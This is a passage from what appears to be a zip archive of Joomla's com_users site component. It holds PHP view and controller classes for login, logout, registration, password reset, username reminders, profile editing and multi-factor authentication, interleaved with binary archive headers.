        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''));

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @since   1.6
     * @throws  \Exception
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $this->getCurrentUser()->name));
        } else {
            $this->params->def('page_heading', Text::_('COM_USERS_PROFILE'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\[<�/44'com_users/src/View/Captive/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\View\Captive;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View for Multi-factor Authentication captive page
 *
 * @since 4.2.0
 */
class HtmlView extends \Joomla\Component\Users\Administrator\View\Captive\HtmlView
{
}
PK���\e3��WW-com_users/src/Controller/MethodController.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Administrator\Controller\MethodController as AdminMethodController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Multi-factor Authentication method controller
 *
 * @since 4.2.0
 */
class MethodController extends AdminMethodController
{
    /**
     * Execute a task by triggering a Method in the derived class.
     *
     * @param   string  $task    The task to perform.
     *
     * @return  mixed   The value returned by the called Method.
     *
     * @throws  \Exception
     * @since   4.2.0
     */
    public function execute($task)
    {
        try {
            return parent::execute($task);
        } catch (\Exception $e) {
            if ($e->getCode() !== 403) {
                throw $e;
            }

            if ($this->app->getIdentity()->guest) {
                $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));

                return null;
            }
        }

        return null;
    }
}
PK���\��{��!�!+com_users/src/Controller/UserController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Registration controller class for Users.
 *
 * @since  1.6
 */
class UserController extends BaseController
{
    /**
     * Method to log in a user.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function login()
    {
        $this->checkToken('post');

        $input = $this->input->getInputForRequestMethod();

        // Populate the data array:
        $data = [];

        $data['return']    = base64_decode($input->get('return', '', 'BASE64'));
        $data['username']  = $input->get('username', '', 'USERNAME');
        $data['password']  = $input->get('password', '', 'RAW');
        $data['secretkey'] = $input->get('secretkey', '', 'RAW');

        // Check for a simple menu item id
        if (is_numeric($data['return'])) {
            $itemId         = (int) $data['return'];
            $data['return'] = 'index.php?Itemid=' . $itemId;

            if (Multilanguage::isEnabled()) {
                $language = $this->getModel('Login', 'Site')->getMenuLanguage($itemId);

                if ($language !== '*') {
                    $data['return'] .= '&lang=' . $language;
                }
            }
        } elseif (!Uri::isInternal($data['return'])) {
            // Don't redirect to an external URL.
            $data['return'] = '';
        }

        // Set the return URL if empty.
        if (empty($data['return'])) {
            $data['return'] = 'index.php?option=com_users&view=profile';
        }

        // Set the return URL in the user state to allow modification by plugins
        $this->app->setUserState('users.login.form.return', $data['return']);

        // Get the log in options.
        $options             = [];
        $options['remember'] = $this->input->getBool('remember', false);
        $options['return']   = $data['return'];

        // Get the log in credentials.
        $credentials              = [];
        $credentials['username']  = $data['username'];
        $credentials['password']  = $data['password'];
        $credentials['secretkey'] = $data['secretkey'];

        // Perform the log in.
        if (true !== $this->app->login($credentials, $options)) {
            // Login failed !
            // Clear user name, password and secret key before sending the login form back to the user.
            $data['remember']  = (int) $options['remember'];
            $data['username']  = '';
            $data['password']  = '';
            $data['secretkey'] = '';
            $this->app->setUserState('users.login.form.data', $data);
            $this->app->redirect(Route::_('index.php?option=com_users&view=login', false));
        }

        // Success
        if ($options['remember'] == true) {
            $this->app->setUserState('rememberLogin', true);
        }

        $this->app->setUserState('users.login.form.data', []);

        $this->app->redirect(Route::_($this->app->getUserState('users.login.form.return'), false));
    }

    /**
     * Method to log out a user.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function logout()
    {
        $this->checkToken('request');

        $app = $this->app;

        // Prepare the logout options.
        $options = [
            'clientid' => $app->get('shared_session', '0') ? null : 0,
        ];

        // Perform the log out.
        $error = $app->logout(null, $options);
        $input = $app->getInput()->getInputForRequestMethod();

        // Check if the log out succeeded.
        if ($error instanceof \Exception) {
            $app->redirect(Route::_('index.php?option=com_users&view=login', false));
        }

        // Get the return URL from the request and validate that it is internal.
        $return = $input->get('return', '', 'BASE64');
        $return = base64_decode($return);

        // Check for a simple menu item id
        if (is_numeric($return)) {
            $itemId = (int) $return;
            $return = 'index.php?Itemid=' . $itemId;

            if (Multilanguage::isEnabled()) {
                $language = $this->getModel('Login', 'Site')->getMenuLanguage($itemId);

                if ($language !== '*') {
                    $return .= '&lang=' . $language;
                }
            }
        } elseif (!Uri::isInternal($return)) {
            $return = '';
        }

        // In case redirect url is not set, redirect user to homepage
        if (empty($return)) {
            $return = Uri::root();
        }

        // Show a message when a user is logged out.
        $app->enqueueMessage(Text::_('COM_USERS_FRONTEND_LOGOUT_SUCCESS'), 'message');

        // Redirect the user.
        $app->redirect(Route::_($return, false));
    }

    /**
     * Method to logout directly and redirect to page.
     *
     * @return  void
     *
     * @since   3.5
     */
    public function menulogout()
    {
        // Get the ItemID of the page to redirect after logout
        $app    = $this->app;
        $active = $app->getMenu()->getActive();
        $itemid = $active ? $active->getParams()->get('logout') : 0;

        // Get the language of the page when multilang is on
        if (Multilanguage::isEnabled()) {
            if ($itemid) {
                $language = $this->getModel('Login', 'Site')->getMenuLanguage($itemid);

                // URL to redirect after logout
                $url = 'index.php?Itemid=' . $itemid . ($language !== '*' ? '&lang=' . $language : '');
            } else {
                // Logout is set to default. Get the home page ItemID
                $lang_code = $app->getInput()->cookie->getString(ApplicationHelper::getHash('language'));
                $item      = $app->getMenu()->getDefault($lang_code);
                $itemid    = $item->id;

                // Redirect to Home page after logout
                $url = 'index.php?Itemid=' . $itemid;
            }
        } else {
            // URL to redirect after logout, default page if no ItemID is set
            $url = $itemid ? 'index.php?Itemid=' . $itemid : Uri::root();
        }

        // Logout and redirect
        $this->setRedirect(Route::_('index.php?option=com_users&task=user.logout&' . Session::getFormToken() . '=1&return=' . base64_encode($url), false));
    }

    /**
     * Method to request a username reminder.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    public function remind()
    {
        // Check the request token.
        $this->checkToken('post');

        $app   = $this->app;

        /** @var \Joomla\Component\Users\Site\Model\RemindModel $model */
        $model = $this->getModel('Remind', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        // Submit the username remind request.
        $return = $model->processRemindRequest($data);

        // Check for a hard error.
        if ($return instanceof \Exception) {
            // Get the error message to display.
            $message = $app->get('error_reporting')
                ? $return->getMessage()
                : Text::_('COM_USERS_REMIND_REQUEST_ERROR');

            // Go back to the complete form.
            $this->setRedirect(Route::_('index.php?option=com_users&view=remind', false), $message, 'error');

            return false;
        }

        if ($return === false) {
            // Go back to the complete form.
            $message = Text::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_users&view=remind', false), $message, 'notice');

            return false;
        }

        // Proceed to the login form.
        $message = Text::_('COM_USERS_REMIND_REQUEST_SUCCESS');
        $this->setRedirect(Route::_('index.php?option=com_users&view=login', false), $message);

        return true;
    }

    /**
     * Method to resend a user.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function resend()
    {
        // Check for request forgeries
        // $this->checkToken('post');
    }
}
PK���\[�{xuu.com_users/src/Controller/MethodsController.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Administrator\Controller\MethodsController as AdminMethodsController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Multi-factor Authentication methods selection and management controller
 *
 * @since 4.2.0
 */
class MethodsController extends AdminMethodsController
{
    /**
     * Execute a task by triggering a Method in the derived class.
     *
     * @param   string  $task    The task to perform.
     *
     * @return  mixed   The value returned by the called Method.
     *
     * @throws  \Exception
     * @since   4.2.0
     */
    public function execute($task)
    {
        try {
            return parent::execute($task);
        } catch (\Exception $e) {
            if ($e->getCode() !== 403) {
                throw $e;
            }

            if ($this->app->getIdentity()->guest) {
                $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));

                return null;
            }
        }

        return null;
    }
}
PK���\.(�v
v
.com_users/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Base controller class for Users.
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * Method to display a view.
     *
     * @param   boolean        $cachable   If true, the view output will be cached
     * @param   array|boolean  $urlparams  An array of safe URL parameters and their variable types,
     *                                     for valid values see {@link \Joomla\CMS\Filter\InputFilter::clean()}.
     *
     * @return  void
     *
     * @since   1.5
     * @throws  \Exception
     */
    public function display($cachable = false, $urlparams = false)
    {
        // Get the document object.
        $document = $this->app->getDocument();

        // Set the default view name and format from the Request.
        $vName   = $this->input->getCmd('view', 'login');
        $vFormat = $document->getType();
        $lName   = $this->input->getCmd('layout', 'default');

        if ($view = $this->getView($vName, $vFormat)) {
            // Do any specific processing by view.
            switch ($vName) {
                case 'registration':
                case 'profile':
                case 'login':
                case 'remind':
                case 'reset':
                    $model = $this->getModel($vName);
                    break;

                case 'captive':
                case 'methods':
                case 'method':
                    $controller = $this->factory->createController($vName, 'Site', [], $this->app, $this->input);
                    $task       = $this->input->get('task', '');

                    return $controller->execute($task);

                default:
                    $model = $this->getModel('Login');
                    break;
            }

            // Make sure we don't send a referer
            if (in_array($vName, ['remind', 'reset'])) {
                $this->app->setHeader('Referrer-Policy', 'no-referrer', true);
            }

            // Push the model into the view (as default).
            $view->setModel($model, true);
            $view->setLayout($lName);

            // Push document object into the view.
            $view->document = $document;

            $view->display();
        }
    }
}
PK���\��99.com_users/src/Controller/ProfileController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Profile controller class for Users.
 *
 * @since  1.6
 */
class ProfileController extends BaseController
{
    /**
     * Method to check out a user for editing and redirect to the edit form.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    public function edit()
    {
        $app         = $this->app;
        $user        = $this->app->getIdentity();
        $loginUserId = (int) $user->get('id');

        // Get the current user id.
        $userId     = $this->input->getInt('user_id');

        // Check if the user is trying to edit another users profile.
        if ($userId != $loginUserId) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->setHeader('status', 403, true);

            return false;
        }

        $cookieLogin = $user->get('cookieLogin');

        // Check if the user logged in with a cookie
        if (!empty($cookieLogin)) {
            // If so, the user must login to edit the password and other data.
            $app->enqueueMessage(Text::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message');
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));

            return false;
        }

        // Set the user id for the user to edit in the session.
        $app->setUserState('com_users.edit.profile.id', $userId);

        // Redirect to the edit screen.
        $this->setRedirect(Route::_('index.php?option=com_users&view=profile&layout=edit', false));

        return true;
    }

    /**
     * Method to save a user's profile data.
     *
     * @return  void|boolean
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function save()
    {
        // Check for request forgeries.
        $this->checkToken();

        $app    = $this->app;

        /** @var \Joomla\Component\Users\Site\Model\ProfileModel $model */
        $model  = $this->getModel('Profile', 'Site');
        $user   = $this->app->getIdentity();
        $userId = (int) $user->get('id');

        // Get the user data.
        $requestData = $app->getInput()->post->get('jform', [], 'array');

        // Force the ID to this user.
        $requestData['id'] = $userId;

        // Validate the posted data.
        $form = $model->getForm();

        if (!$form) {
            throw new \Exception($model->getError(), 500);
        }

        // Send an object which can be modified through the plugin event
        $objData = (object) $requestData;
        $app->triggerEvent(
            'onContentNormaliseRequestData',
            ['com_users.user', $objData, $form]
        );
        $requestData = (array) $objData;

        // Validate the posted data.
        $data = $model->validate($form, $requestData);

        // Check for errors.
        if ($data === false) {
            // Get the validation messages.
            $errors = $model->getErrors();

            // Push up to three validation messages out to the user.
            for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) {
                if ($errors[$i] instanceof \Exception) {
                    $app->enqueueMessage($errors[$i]->getMessage(), 'warning');
                } else {
                    $app->enqueueMessage($errors[$i], 'warning');
                }
            }

            // Unset the passwords.
            unset($requestData['password1'], $requestData['password2']);

            // Save the data in the session.
            $app->setUserState('com_users.edit.profile.data', $requestData);

            // Redirect back to the edit screen.
            $userId = (int) $app->getUserState('com_users.edit.profile.id');
            $this->setRedirect(Route::_('index.php?option=com_users&view=profile&layout=edit&user_id=' . $userId, false));

            return false;
        }

        // Attempt to save the data.
        $return = $model->save($data);

        // Check for errors.
        if ($return === false) {
            // Save the data in the session.
            $app->setUserState('com_users.edit.profile.data', $data);

            // Redirect back to the edit screen.
            $userId = (int) $app->getUserState('com_users.edit.profile.id');
            $this->setMessage(Text::sprintf('COM_USERS_PROFILE_SAVE_FAILED', $model->getError()), 'warning');
            $this->setRedirect(Route::_('index.php?option=com_users&view=profile&layout=edit&user_id=' . $userId, false));

            return false;
        }

        // Redirect the user and adjust session state based on the chosen task.
        switch ($this->getTask()) {
            case 'apply':
                // Check out the profile.
                $app->setUserState('com_users.edit.profile.id', $return);

                // Redirect back to the edit screen.
                $this->setMessage(Text::_('COM_USERS_PROFILE_SAVE_SUCCESS'));

                $redirect = $app->getUserState('com_users.edit.profile.redirect', '');

                // Don't redirect to an external URL.
                if (!Uri::isInternal($redirect)) {
                    $redirect = null;
                }

                if (!$redirect) {
                    $redirect = 'index.php?option=com_users&view=profile&layout=edit&hidemainmenu=1';
                }

                $this->setRedirect(Route::_($redirect, false));
                break;

            default:
                // Clear the profile id from the session.
                $app->setUserState('com_users.edit.profile.id', null);

                $redirect = $app->getUserState('com_users.edit.profile.redirect', '');

                // Don't redirect to an external URL.
                if (!Uri::isInternal($redirect)) {
                    $redirect = null;
                }

                if (!$redirect) {
                    $redirect = 'index.php?option=com_users&view=profile&user_id=' . $return;
                }

                // Redirect to the list screen.
                $this->setMessage(Text::_('COM_USERS_PROFILE_SAVE_SUCCESS'));
                $this->setRedirect(Route::_($redirect, false));
                break;
        }

        // Flush the data from the session.
        $app->setUserState('com_users.edit.profile.data', null);
    }

    /**
     * Method to cancel an edit.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function cancel()
    {
        // Check for request forgeries.
        $this->checkToken();

        // Flush the data from the session.
        $this->app->setUserState('com_users.edit.profile', null);

        // Redirect to user profile.
        $this->setRedirect(Route::_('index.php?option=com_users&view=profile', false));
    }
}
PK���\aCVd��,com_users/src/Controller/ResetController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Reset controller class for Users.
 *
 * @since  1.6
 */
class ResetController extends BaseController
{
    /**
     * Method to request a password reset.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    public function request()
    {
        // Check the request token.
        $this->checkToken('post');

        $app   = $this->app;

        /** @var \Joomla\Component\Users\Site\Model\ResetModel $model */
        $model = $this->getModel('Reset', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        // Submit the password reset request.
        $return = $model->processResetRequest($data);

        // Check for a hard error.
        if ($return instanceof \Exception && JDEBUG) {
            // Get the error message to display.
            if ($app->get('error_reporting')) {
                $message = $return->getMessage();
            } else {
                $message = Text::_('COM_USERS_RESET_REQUEST_ERROR');
            }

            // Go back to the request form.
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset', false), $message, 'error');

            return false;
        } elseif ($return === false && JDEBUG) {
            // The request failed.
            // Go back to the request form.
            $message = Text::sprintf('COM_USERS_RESET_REQUEST_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset', false), $message, 'notice');

            return false;
        }

        // To not expose if the user exists or not we send a generic message.
        $message = Text::_('COM_USERS_RESET_REQUEST');
        $this->setRedirect(Route::_('index.php?option=com_users&view=reset&layout=confirm', false), $message, 'notice');

        return true;
    }

    /**
     * Method to confirm the password request.
     *
     * @return  boolean
     *
     * @access  public
     * @since   1.6
     */
    public function confirm()
    {
        // Check the request token.
        $this->checkToken('request');

        $app   = $this->app;

        /** @var \Joomla\Component\Users\Site\Model\ResetModel $model */
        $model = $this->getModel('Reset', 'Site');
        $data  = $this->input->get('jform', [], 'array');

        // Confirm the password reset request.
        $return = $model->processResetConfirm($data);

        // Check for a hard error.
        if ($return instanceof \Exception) {
            // Get the error message to display.
            if ($app->get('error_reporting')) {
                $message = $return->getMessage();
            } else {
                $message = Text::_('COM_USERS_RESET_CONFIRM_ERROR');
            }

            // Go back to the confirm form.
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset&layout=confirm', false), $message, 'error');

            return false;
        } elseif ($return === false) {
            // Confirm failed.
            // Go back to the confirm form.
            $message = Text::sprintf('COM_USERS_RESET_CONFIRM_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset&layout=confirm', false), $message, 'notice');

            return false;
        } else {
            // Confirm succeeded.
            // Proceed to step three.
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset&layout=complete', false));

            return true;
        }
    }

    /**
     * Method to complete the password reset process.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    public function complete()
    {
        // Check for request forgeries
        $this->checkToken('post');

        $app   = $this->app;

        /** @var \Joomla\Component\Users\Site\Model\ResetModel $model */
        $model = $this->getModel('Reset', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        // Complete the password reset request.
        $return = $model->processResetComplete($data);

        // Check for a hard error.
        if ($return instanceof \Exception) {
            // Get the error message to display.
            if ($app->get('error_reporting')) {
                $message = $return->getMessage();
            } else {
                $message = Text::_('COM_USERS_RESET_COMPLETE_ERROR');
            }

            // Go back to the complete form.
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset&layout=complete', false), $message, 'error');

            return false;
        } elseif ($return === false) {
            // Complete failed.
            // Go back to the complete form.
            $message = Text::sprintf('COM_USERS_RESET_COMPLETE_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_users&view=reset&layout=complete', false), $message, 'notice');

            return false;
        } else {
            // Complete succeeded.
            // Proceed to the login form.
            $message = Text::_('COM_USERS_RESET_COMPLETE_SUCCESS');
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false), $message);

            return true;
        }
    }
}
PK���\�l��-com_users/src/Controller/RemindController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Reset controller class for Users.
 *
 * @since  1.6
 */
class RemindController extends BaseController
{
    /**
     * Method to request a username reminder.
     *
     * @return  boolean
     *
     * @since   1.6
     */
    public function remind()
    {
        // Check the request token.
        $this->checkToken('post');

        /** @var \Joomla\Component\Users\Site\Model\RemindModel $model */
        $model = $this->getModel('Remind', 'Site');
        $data  = $this->input->post->get('jform', [], 'array');

        // Submit the password reset request.
        $return = $model->processRemindRequest($data);

        // Check for a hard error.
        if ($return == false && JDEBUG) {
            // The request failed.
            // Go back to the request form.
            $message = Text::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError());
            $this->setRedirect(Route::_('index.php?option=com_users&view=remind', false), $message, 'notice');

            return false;
        }

        // To not expose if the user exists or not we send a generic message.
        $message = Text::_('COM_USERS_REMIND_REQUEST');
        $this->setRedirect(Route::_('index.php?option=com_users&view=login', false), $message, 'notice');

        return true;
    }
}
PK���\ǟO�C$C$3com_users/src/Controller/RegistrationController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Router\Route;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Registration controller class for Users.
 *
 * @since  1.6
 */
class RegistrationController extends BaseController
{
    /**
     * Method to activate a user.
     *
     * @return  boolean  True on success, false on failure.
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function activate()
    {
        $user    = $this->app->getIdentity();
        $input   = $this->input;
        $uParams = ComponentHelper::getParams('com_users');

        // Check for admin activation. Don't allow non-super-admin to delete a super admin
        if ($uParams->get('useractivation') != 2 && $user->get('id')) {
            $this->setRedirect('index.php');

            return true;
        }

        // If user registration or account activation is disabled, throw a 403.
        if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) {
            throw new \Exception(Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'), 403);
        }

        /** @var \Joomla\Component\Users\Site\Model\RegistrationModel $model */
        $model = $this->getModel('Registration', 'Site');
        $token = $input->getAlnum('token');

        // Check that the token is in a valid format.
        if ($token === null || strlen($token) !== 32) {
            throw new \Exception(Text::_('JINVALID_TOKEN'), 403);
        }

        // Get the User ID
        $userIdToActivate = $model->getUserIdFromToken($token);

        if (!$userIdToActivate) {
            $this->setMessage(Text::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));

            return false;
        }

        // Get the user we want to activate
        $userToActivate = Factory::getUser($userIdToActivate);

        // Admin activation is on and admin is activating the account
        if (($uParams->get('useractivation') == 2) && $userToActivate->getParam('activate', 0)) {
            // If a user admin is not logged in, redirect them to the login page with an error message
            if (!$user->authorise('core.create', 'com_users') || !$user->authorise('core.manage', 'com_users')) {
                $activationUrl = 'index.php?option=com_users&task=registration.activate&token=' . $token;
                $loginUrl      = 'index.php?option=com_users&view=login&return=' . base64_encode($activationUrl);

                // In case we still run into this in the second step the user does not have the right permissions
                $message = Text::_('COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION_PERMISSIONS');

                // When we are not logged in we should login
                if ($user->guest) {
                    $message = Text::_('COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION');
                }

                $this->setMessage($message);
                $this->setRedirect(Route::_($loginUrl, false));

                return false;
            }
        }

        // Attempt to activate the user.
        $return = $model->activate($token);

        // Check for errors.
        if ($return === false) {
            // Redirect back to the home page.
            $this->setMessage(Text::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()), 'error');
            $this->setRedirect('index.php');

            return false;
        }

        $useractivation = $uParams->get('useractivation');

        // Redirect to the login screen.
        if ($useractivation == 0) {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_SAVE_SUCCESS'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));
        } elseif ($useractivation == 1) {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_ACTIVATE_SUCCESS'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));
        } elseif ($return->getParam('activate')) {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_VERIFY_SUCCESS'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=registration&layout=complete', false));
        } else {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=registration&layout=complete', false));
        }

        return true;
    }

    /**
     * Method to register a user.
     *
     * @return  boolean  True on success, false on failure.
     *
     * @since   1.6
     * @throws  \Exception
     */
    public function register()
    {
        // Check for request forgeries.
        $this->checkToken();

        // If registration is disabled - Redirect to login page.
        if (ComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) {
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));

            return false;
        }

        $app   = $this->app;

        /** @var \Joomla\Component\Users\Site\Model\RegistrationModel $model */
        $model = $this->getModel('Registration', 'Site');

        // Get the user data.
        $requestData = $this->input->post->get('jform', [], 'array');

        // Validate the posted data.
        $form = $model->getForm();

        if (!$form) {
            throw new \Exception($model->getError(), 500);
        }

        $data = $model->validate($form, $requestData);

        // Check for validation errors.
        if ($data === false) {
            // Get the validation messages.
            $errors = $model->getErrors();

            // Push up to three validation messages out to the user.
            for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) {
                if ($errors[$i] instanceof \Exception) {
                    $app->enqueueMessage($errors[$i]->getMessage(), 'error');
                } else {
                    $app->enqueueMessage($errors[$i], 'error');
                }
            }

            /**
             * We need the filtered value of calendar fields because the UTC normalisation is
             * done in the filter and on output. This would apply the Timezone offset on
             * reload. We set the calendar values we save to the processed date.
             */
            $filteredData = $form->filter($requestData);

            foreach ($form->getFieldset() as $field) {
                if ($field->type === 'Calendar') {
                    $fieldName = $field->fieldname;

                    if ($field->group) {
                        if (isset($filteredData[$field->group][$fieldName])) {
                            $requestData[$field->group][$fieldName] = $filteredData[$field->group][$fieldName];
                        }
                    } else {
                        if (isset($filteredData[$fieldName])) {
                            $requestData[$fieldName] = $filteredData[$fieldName];
                        }
                    }
                }
            }

            // Save the data in the session.
            $app->setUserState('com_users.registration.data', $requestData);

            // Redirect back to the registration screen.
            $this->setRedirect(Route::_('index.php?option=com_users&view=registration', false));

            return false;
        }

        // Attempt to save the data.
        $return = $model->register($data);

        // Check for errors.
        if ($return === false) {
            // Save the data in the session.
            $app->setUserState('com_users.registration.data', $data);

            // Redirect back to the edit screen.
            $this->setMessage($model->getError(), 'error');
            $this->setRedirect(Route::_('index.php?option=com_users&view=registration', false));

            return false;
        }

        // Flush the data from the session.
        $app->setUserState('com_users.registration.data', null);

        // Redirect to the profile screen.
        if ($return === 'adminactivate') {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_COMPLETE_VERIFY'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=registration&layout=complete', false));
        } elseif ($return === 'useractivate') {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_COMPLETE_ACTIVATE'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=registration&layout=complete', false));
        } else {
            $this->setMessage(Text::_('COM_USERS_REGISTRATION_SAVE_SUCCESS'));
            $this->setRedirect(Route::_('index.php?option=com_users&view=login', false));
        }

        return true;
    }
}
PK���\n�>"aa.com_users/src/Controller/CaptiveController.phpnu�[���<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Site\Controller;

use Joomla\CMS\Router\Route;
